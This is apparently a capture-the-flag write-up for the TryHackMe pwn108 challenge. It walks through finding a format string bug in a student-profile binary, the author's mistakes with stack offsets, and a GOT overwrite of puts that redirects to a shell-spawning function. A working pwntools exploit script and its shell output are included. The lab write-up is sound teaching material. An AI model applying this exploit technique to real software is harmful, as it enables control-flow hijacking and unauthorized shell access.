Skip to content

Format string to control-flow hijacking through GOT overwrite

TryHackMe pwn108 challenge

Binary recon

The program takes two inputs, a name and a number :

$ ./pwn108-1644300489260.pwn108 

=[Your name]: Nohor  
=[Your Reg No]: 455

=[ STUDENT PROFILE ]=
Name         : Nohor
Register no  : 455
Institue     : THM
Branch       : B.E (Binary Exploitation)


                    =[ EXAM SCHEDULE ]=                  
 --------------------------------------------------------
|  Date     |           Exam               |    FN/AN    |
|--------------------------------------------------------
| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  DATA STRUCTURES             |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |
|--------------------------------------------------------
| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |
 --------------------------------------------------------

It prints a student profile then an exam schedule.

Binary protections

checksec.py pwn108-1644300489260.pwn108 
Processing... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1/1 • 100.0%
                                                                                     Checksec Results: ELF                                                                                      
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━┳━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━┳━━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━┓
┃ File                                    ┃  NX   ┃  PIE  ┃   Canary   ┃    Relro    ┃  RPATH   ┃   RUNPATH   ┃  Symbols   ┃  FORTIFY   ┃   Fortified   ┃   Fortifiable    ┃   Fortify Score   ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━╇━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━╇━━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━┩
│ pwn108-1644300489260.pwn108             │  Yes  │  No   │    Yes     │   Partial   │    No    │     No      │    Yes     │     No     │      No       │        No        │         0         │
└─────────────────────────────────────────┴───────┴───────┴────────────┴─────────────┴──────────┴─────────────┴────────────┴────────────┴───────────────┴──────────────────┴───────────────────┘
  • NX : yes. No code execution on the stack, so no directly injected shellcode.

  • PIE : no. The .text section is always at the same virtual address. The binary's function addresses are fixed from one run to the next.

  • Canary : yes. If the canary is implemented correctly, you need a leak to predict it before any buffer overflow.

  • RELRO : partial, not full. Partial RELRO leaves the GOT writable. Only Full RELRO makes it read-only.

As for the machine's protections, I don't have the informations, but I assume there's at least ASLR (stack and libc addresses randomized on each run).

First lead : buffer overflow ?

The name field looks like it causes trouble when you feed it a big string.

$ ./pwn108-1644300489260.pwn108
=[Your name]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
=[Your Reg No]: 
=[ STUDENT PROFILE ]=
Name         : AAAAAAAAAAAAAAAAAARegister no  : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAInstitue     : THM
Branch       : B.E (Binary Exploitation)


                    =[ EXAM SCHEDULE ]=                  
 --------------------------------------------------------
|  Date     |           Exam               |    FN/AN    |
|--------------------------------------------------------
| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  DATA STRUCTURES             |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |
|--------------------------------------------------------
| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |
 --------------------------------------------------------
$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: command not found: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

At first I thought it was a buffer overflow, but that zsh: command not found isn't a crash of the binary. The program reads a bounded number of bytes, and the rest of my input stays in the terminal buffer (stdin). When the program exits, it's zsh that picks up the leftover bytes. It looks like a bug but it's just my input spilling over into the shell, not into the program's memory.

Let's check in the code. The name field :

   0x4012a0 <+0>:     push   rbp
   0x4012a1 <+1>:     mov    rbp,rsp
   0x4012a4 <+4>:     sub    rsp,0x90 ; reserve 0x90 bytes on the stack
                                      ; the buffer spans rbp-0x90 to rbp-1

   ...

   0x4012b8 <+24>:    xor    eax,eax
   0x4012ba <+26>:    mov    eax,0x0
   0x4012bf <+31>:    call   0x401176 <setup>
   0x4012c4 <+36>:    mov    eax,0x0
   0x4012c9 <+41>:    call   0x4011fe <banner>
   0x4012ce <+46>:    lea    rax,[rip+0xea2]
   0x4012d5 <+53>:    mov    rdi,rax
   0x4012d8 <+56>:    call   0x401030 <puts@plt>
   0x4012dd <+61>:    lea    rax,[rip+0xeb4]
   0x4012e4 <+68>:    mov    rdi,rax
   0x4012e7 <+71>:    call   0x401030 <puts@plt>
   0x4012ec <+76>:    lea    rax,[rip+0xed2]
   0x4012f3 <+83>:    mov    rdi,rax
   0x4012f6 <+86>:    mov    eax,0x0
   0x4012fb <+91>:    call   0x401060 <printf@plt>

   0x401300 <+96>:    lea    rax,[rbp-0x90]        ; rax = buffer address = rbp-0x90
   0x401307 <+103>:   mov    edx,0x12              ; edx = bound/max size = 0x12 = 18
   0x40130c <+108>:   mov    rsi,rax               ; rsi = buffer = rbp-0x90
   0x40130f <+111>:   mov    edi,0x0
   0x401314 <+116>:   mov    eax,0x0
   0x401319 <+121>:   call   0x401070 <read@plt>   ; read(0, rbp-0x90, 0x12)

Not a buffer overflow. The buffer has 0x90 bytes of available room and the read is bounded to 18 bytes. You can't overflow it.

Same reasoning for the Reg field :

   0x0000000000401332 <+146>:   lea    rax,[rbp-0x70]
   0x0000000000401336 <+150>:   mov    edx,0x64
   0x000000000040133b <+155>:   mov    rsi,rax
   0x000000000040133e <+158>:   mov    edi,0x0
   0x0000000000401343 <+163>:   mov    eax,0x0
   0x0000000000401348 <+168>:   call   0x401070 <read@plt>

Buffer at rbp-0x70, read bounded to 0x64.

The real vuln : format string

Not obvious to spot at first, but the way the fields are printed isn't ok.

0040136d  4889c7             mov     rdi, rax  {data_4021fd, "Name         : %s"}
00401370  b800000000         mov     eax, 0x0
00401375  e8e6fcffff         call    printf
0040137a  488d058e0e0000     lea     rax, [rel data_40220f]
00401381  4889c7             mov     rdi, rax  {data_40220f, "Register no  : "}
00401384  b800000000         mov     eax, 0x0
00401389  e8d2fcffff         call    printf

The name is printed cleanly with printf("Name : %s", name) : the name is passed as an argument, the %s is hardcoded, so nothing to exploit there. The "Register no : " label, on the other hand, is printed on its own, and a bit further in the function there's a third printf that takes the Reg buffer directly as its format string :

   0x000000000040138e <+238>:   lea    rax,[rbp-0x70]   ; rax = Reg buffer
   0x0000000000401392 <+242>:   mov    rdi,rax           ; rdi = Reg buffer = the format string
   0x0000000000401395 <+245>:   mov    eax,0x0
   0x000000000040139a <+250>:   call   0x401060 <printf@plt>  ; printf(Reg_buffer)

It's a printf(user_buffer) with no fixed format. The format string vuln is there, on the Reg field.

Let's confirm by putting %x in both fields :

=[Your name]: %x%x%x%x
=[Your Reg No]: %x%x%x%x

=[ STUDENT PROFILE ]=
Name         : %x%x%x%x
 Register no  : 7989b83000401450
�Institue     : THM
Branch       : B.E (Binary Exploitation)

The name field comes back literal (printed via %s, so harmless), but the Reg field interprets the %x and leaks stack values.

The goal : the holidays() function

The goal of the challenge is to get holidays() to run, which spawns a shell.

0040123b  55                 push    rbp {__saved_rbp}
0040123c  4889e5             mov     rbp, rsp {__saved_rbp}
0040123f  4883ec10           sub     rsp, 0x10
00401243  64488b0425280000…  mov     rax, qword [fs:0x28]
0040124c  488945f8           mov     qword [rbp-0x8 {var_10}], rax
00401250  31c0               xor     eax, eax  {0x0}
00401252  c745f26578616d     mov     dword [rbp-0xe {var_16}], 0x6d617865
00401259  66c745f67300       mov     word [rbp-0xa {var_12}], 0x73
0040125f  488d45f2           lea     rax, [rbp-0xe {var_16}]
00401263  4889c6             mov     rsi, rax {var_16}
00401266  488d05b30e0000     lea     rax, [rel data_402120]
0040126d  4889c7             mov     rdi, rax  {data_402120, "\nNo more %s for you enjoy your holidays "}
00401270  b800000000         mov     eax, 0x0
00401275  e8e6fdffff         call    printf
0040127a  488d05ee0e0000     lea     rax, [rel data_40216f]
00401281  4889c7             mov     rdi, rax  {data_40216f, "/bin/sh"}
00401284  e8c7fdffff         call    system
00401289  90                 nop     
0040128a  488b45f8           mov     rax, qword [rbp-0x8 {var_10}]
0040128e  64482b0425280000…  sub     rax, qword [fs:0x28]
00401297  7405               je      0x40129e

00401299  e8a2fdffff         call    __stack_chk_fail

0040129e  c9                 leave    {__saved_rbp}
0040129f  c3                 retn     {__return_addr}

The function does a system("/bin/sh"). If we can redirect the flow to its address, we get a shell.

So it seems to me there are two ways to do it :

  • Leak addresses via the format string to bypass ASLR, then write the holidays address onto RIP, still with the format string.

  • GOT overwrite, made possible by the partial RELRO.

Bypassing ASLR with the format string ?

What do we want to leak ? We need to write the holidays address onto RIP. Since PIE is disabled, the holidays address is fixed, we can check :

$ gdb pwn108-1644300489260.pwn108
pwndbg> disass holidays
Dump of assembler code for function holidays:
   0x000000000040123b <+0>:     push   rbp


$ gdb pwn108-1644300489260.pwn108
pwndbg> disass holidays
Dump of assembler code for function holidays:
   0x000000000040123b <+0>:     push   rbp

Two runs, same address 0x40123b

The location of RIP on the stack, however, moves because of ASLR :

12:0090│ rbp     0x7ffe94ba94f0 ◂— 1
13:0098│+008     0x7ffe94ba94f8 —▸ 0x74967d1cc24a (__libc_start_call_main+122) ◂— mov edi, eax
12:0090│ rbp     0x7ffc0ec42d90 ◂— 1
13:0098│+008     0x7ffc0ec42d98 —▸ 0x7acc2757224a (__libc_start_call_main+122) ◂— mov edi, eax

How do you leak a specific spot on the stack ? There was probably something simpler, but here's my first, somewhat naive "manual" attempt.

I run the program, stop execution to look at what's in RIP :

12:0090│ rbp     0x7ffc0ec42d90 ◂— 1
13:0098│+008     0x7ffc0ec42d98 —▸ 0x7acc2757224a (__libc_start_call_main+122) ◂— mov edi, eax

There's "0x7acc2757224a". I look at which index this value sits at on the stack :

pwndbg> x/200xw $sp
0x7ffc0ec42d00: 0x41414141      0x00000a41      0x00002000      0x00000000
0x7ffc0ec42d10: 0x00000040      0x00000000      0x00800000      0x00000000
0x7ffc0ec42d20: 0x00000010      0x00000000      0x00008000      0x00000000
0x7ffc0ec42d30: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0ec42d40: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0ec42d50: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0ec42d60: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffc0ec42d70: 0x00000000      0x00000000      0x27763f70      0x00007acc
0x7ffc0ec42d80: 0x00000000      0x00000000      0xa3059b00      0xcb5c9ce1
0x7ffc0ec42d90: 0x00000001      0x00000000      0x2757224a      0x00007acc
....

We see it at the end, index 38/39. So logically, this kind of payload should leak the value :

%38$lx
%39$lx
=[Your name]: AAAA
=[Your Reg No]: %38$lx

=[ STUDENT PROFILE ]=
Name         : AAAA
Register no  : 0
Institue     : THM

Both return 0. I'm missing something.

Mistake 1 : the breakpoint in the wrong place

I'd set the breakpoint at random, when the index I'm after depends on the exact layout of the stack at the precise moment of the vulnerable printf. You have to break execution right at that printf, otherwise I'm reading a stack that doesn't look the same.

with breakpoint at main+270

   0x000000000040138e <+238>:   lea    rax,[rbp-0x70]
   0x0000000000401392 <+242>:   mov    rdi,rax
   0x0000000000401395 <+245>:   mov    eax,0x0
   0x000000000040139a <+250>:   call   0x401060 <printf@plt>
   0x000000000040139f <+255>:   lea    rax,[rip+0xe79]        # 0x40221f
   0x00000000004013a6 <+262>:   mov    rdi,rax
   0x00000000004013a9 <+265>:   mov    eax,0x0
   0x00000000004013ae <+270>:   call   0x401060 <printf@plt>
   0x00000000004013b3 <+275>:   lea    rax,[rip+0xe7e]        # 0x402238
   0x00000000004013ba <+282>:   mov    rdi,rax
   0x00000000004013bd <+285>:   call   0x401030 <puts@plt>
   0x00000000004013c2 <+290>:   lea    rax,[rip+0xe9f]        # 0x402268
   0x00000000004013c9 <+297>:   mov    rdi,rax
   0x00000000004013cc <+300>:   call   0x401030 <puts@plt>
   0x00000000004013d1 <+305>:   nop
   0x00000000004013d2 <+306>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004013d6 <+310>:   sub    rax,QWORD PTR fs:0x28
   0x00000000004013df <+319>:   je     0x4013e6 <main+326>
   0x00000000004013e1 <+321>:   call   0x401040 <__stack_chk_fail@plt>
   0x00000000004013e6 <+326>:   leave
   0x00000000004013e7 <+327>:   ret

0x768e226f224a

pwndbg> x/200xw $sp
0x7ffdbb427c30: 0x0a414141      0x00000000      0x00002000      0x00000000
0x7ffdbb427c40: 0x00000040      0x00000000      0x00800000      0x00000000
0x7ffdbb427c50: 0x0a424242      0x00000000      0x00008000      0x00000000
0x7ffdbb427c60: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffdbb427c70: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffdbb427c80: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffdbb427c90: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffdbb427ca0: 0x00000000      0x00000000      0x228e3f70      0x0000768e
0x7ffdbb427cb0: 0x00000000      0x00000000      0xbcb9e700      0x3e701cf1
0x7ffdbb427cc0: 0x00000001      0x00000000      0x226f224a      0x0000768e
'%39$lx'
'%40$lx'
'%41$lx'

Still doesn't work, and at this point I don't understand why.

Mistake 2 : counting 4-byte words instead of qwords

Turns out x/200xw $sp prints 4-byte words (the w = word = 4 bytes in gdb syntax). So I was counting my target in units of 4 bytes. But printf's %N$ numbering doesn't work like that. The format index isn't counted in 4-byte words from rsp, but in 8-byte qwords, with an offset of 6. My "index 38" in 4-byte words corresponds to 38/2 = 19 qwords from rsp, so format index 19 + 6 = 25. That's exactly why %38$ and %39$ returned garbage, and why the real answer was 25.

The formula that encodes all this (return address = rbp+8, converted to qwords from rsp, plus the offset of 6) :

pwndbg> p/d ((($rbp + 8) - $rsp) / 8) + 6
$1 = 25
=[Your name]: AAA
=[Your Reg No]: '%25$lx'

=[ STUDENT PROFILE ]=
Name         : AAA
Register no  : '7f35e53c124a'
�Institue     : THM
Branch       : B.E (Binary Exploitation)

Except, new mistake. %25$lx does leak 7f35e53c124a, but that's the content stored at rbp+8 (the return address into libc), not the address of the slot itself. To write onto RIP with %n, I need the address of the slot where RIP lives, not what it contains. And that address is randomized by ASLR.

So actually I can read a qword from the stack that points to another spot on the stack and recompute the RIP address dynamically, but thinking about it a bit I realized another problem, this time impossible to solve :

Mistake 3 : the vulnerable printf is only called once

The vulnerable printf is called only once, there's no loop. So even if I leak an address in one run, I can't reuse it in the same run to then write. And the RIP slot address changes on every execution, so I can't hardcode it in my payload.

GOT overwrite

A reminder on the GOT, which I had in my notes but never tested in practice until now.

When a program calls a libc function like printf, printf's code lives in a shared library loaded separately, at an address unknown at compile time (especially with ASLR). How does the binary know where to jump ? Through the GOT and the PLT.

The GOT (Global Offset Table, section .got.plt, RW or R) is just an array of pointers. Initially these entries are empty and point to the resolver. Once the function is resolved, its real address is written into the entry. The second call is therefore faster (no need to re-resolve).

The PLT (Procedure Linkage Table, section .plt, RW) is the intermediate code you jump to in order to be redirected to the function contained in the GOT.

The flow looks like :

call printf --> call printf@plt --> jmp [printf@got] --> libc printf function

The attack exploits the fact that the GOT is writable. If you replace the address stored in printf@got (or any other entry), you redirect the program's flow to an address of your choosing on the next call to that function. That's exactly the write primitive of a format string.

The workaround is RELRO (RELocation Read-Only). There are two levels :

  • Partial RELRO : only some parts are read-only, the GOT stays writable.
  • Full RELRO : the loader resolves the whole GOT before launching the program, then makes the section read-only.

Only Full RELRO blocks the attack. Here we're in Partial RELRO, so it's doable.

PIE is disabled, so the GOT addresses are fixed and holidays is fixed.

Fixed address of holidays : 0x000000000040123b.

pwndbg> disass holidays
Dump of assembler code for function holidays:
   0x000000000040123b <+0>:     push   rbp

Now I need to choose which GOT entry to overwrite. The targeted function has to be called after the vulnerable printf, otherwise my overwrite comes too late to redirect anything.

   0x00000000004013b3 <+275>:   lea    rax,[rip+0xe7e]        # 0x402238
   0x00000000004013ba <+282>:   mov    rdi,rax
   0x00000000004013bd <+285>:   call   0x401030 <puts@plt>
   0x00000000004013c2 <+290>:   lea    rax,[rip+0xe9f]        # 0x402268
   0x00000000004013c9 <+297>:   mov    rdi,rax
   0x00000000004013cc <+300>:   call   0x401030 <puts@plt>
   0x00000000004013d1 <+305>:   nop
   0x00000000004013d2 <+306>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004013d6 <+310>:   sub    rax,QWORD PTR fs:0x28
   0x00000000004013df <+319>:   je     0x4013e6 <main+326>
   0x00000000004013e1 <+321>:   call   0x401040 <__stack_chk_fail@plt>
   0x00000000004013e6 <+326>:   leave
   0x00000000004013e7 <+327>:   ret

Both puts calls happen right after the vulnerable printf, perfect. Also, puts isn't used by holidays itself, so overwriting it breaks nothing downstream.

Now to grab the address of puts's GOT entry.

$ readelf -r pwn108-1644300489260.pwn108 

Relocation section '.rela.dyn' at offset 0x5c0 contains 5 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403ff0  000600000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000403ff8  000700000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404060  000900000005 R_X86_64_COPY     0000000000404060 stdout@GLIBC_2.2.5 + 0
000000404070  000a00000005 R_X86_64_COPY     0000000000404070 stdin@GLIBC_2.2.5 + 0
000000404080  000b00000005 R_X86_64_COPY     0000000000404080 stderr@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x638 contains 6 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000404028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0
000000404030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000404040  000800000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0

puts is in the GOT at 0x000000404018.

So I need to write the holidays address (0x40123b) into puts's GOT entry (0x404018), via the format string's %n write primitive. On the next call puts, the program will jump into holidays, which does system("/bin/sh").

Final payload

You could work out by hand how to write a precise value at that address using the format string's properties (I already did it on another challenge, see Memory vulnerabilities foundation). But here I wanted to try pwntools' ready-made functions. The final payload :

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./pwn108-1644300489260.pwn108')
context.log_level = 'info'

HOST = '10.65.161.33'
PORT = 9008

p = remote(HOST, PORT)

p.sendlineafter(b']: ', b'AAA')

payload = fmtstr_payload(10, {elf.got['puts']: elf.sym['holidays']})
log.info(f'payload length: {len(payload)}')
p.sendlineafter(b']: ', payload)

p.interactive()

fmtstr_payload(offset, writes) is pwntools helper that builds, on its own, a format string performing arbitrary writes. It generates the padding %c (to push the printed-character counter up to the right value) and the %n (which write that counter into memory), and it places the target addresses in the string.

The first argument, 10, is the format string offset because the calculation comes from how printf reads its arguments on x86-64 (the first ones go through registers, not the stack) :

  • rdi = the format string itself

  • rsi, rdx, rcx, r8, r9 = arguments %1$ to %5$

From there everything is read from the stack : %6$ = the qword at the top (rsp), %7$ the next one, etc...

Let's take the dump captured at the printf breakpoint again :

00:0000│ rsp 0x7ffd96adc140 ◂— 0xa414141 /* 'AAA\n' */
01:0008│-088 0x7ffd96adc148 ◂— 0x2000
02:0010│-080 0x7ffd96adc150 ◂— 0x40 /* '@' */
03:0018│-078 0x7ffd96adc158 ◂— 0x800000
04:0020│-070 0x7ffd96adc160 ◂— 0x27786c2435322527 ("AAAAA")

My Reg buffer (my input AAAAA) is on line 04, so the 4th qword. Adding to that the qwords held in the registers (6), index 10 is the one that contains the text I type into the format string.

The exploit works !

[*] Switching to interactive mode

=[ STUDENT PROFILE ]=
Name         : AAA
Register no  :                                                           \x00    \x00                                                                                                                                                                                                                 \x00aaaabaa\x18@@Institue     : THM
No more exams for you enjoy your holidays 🎉
And here is a small gift for you
$ ls
flag.txt
pwn108
pwn108.c
$ cat flag.txt
THM{REDACTED}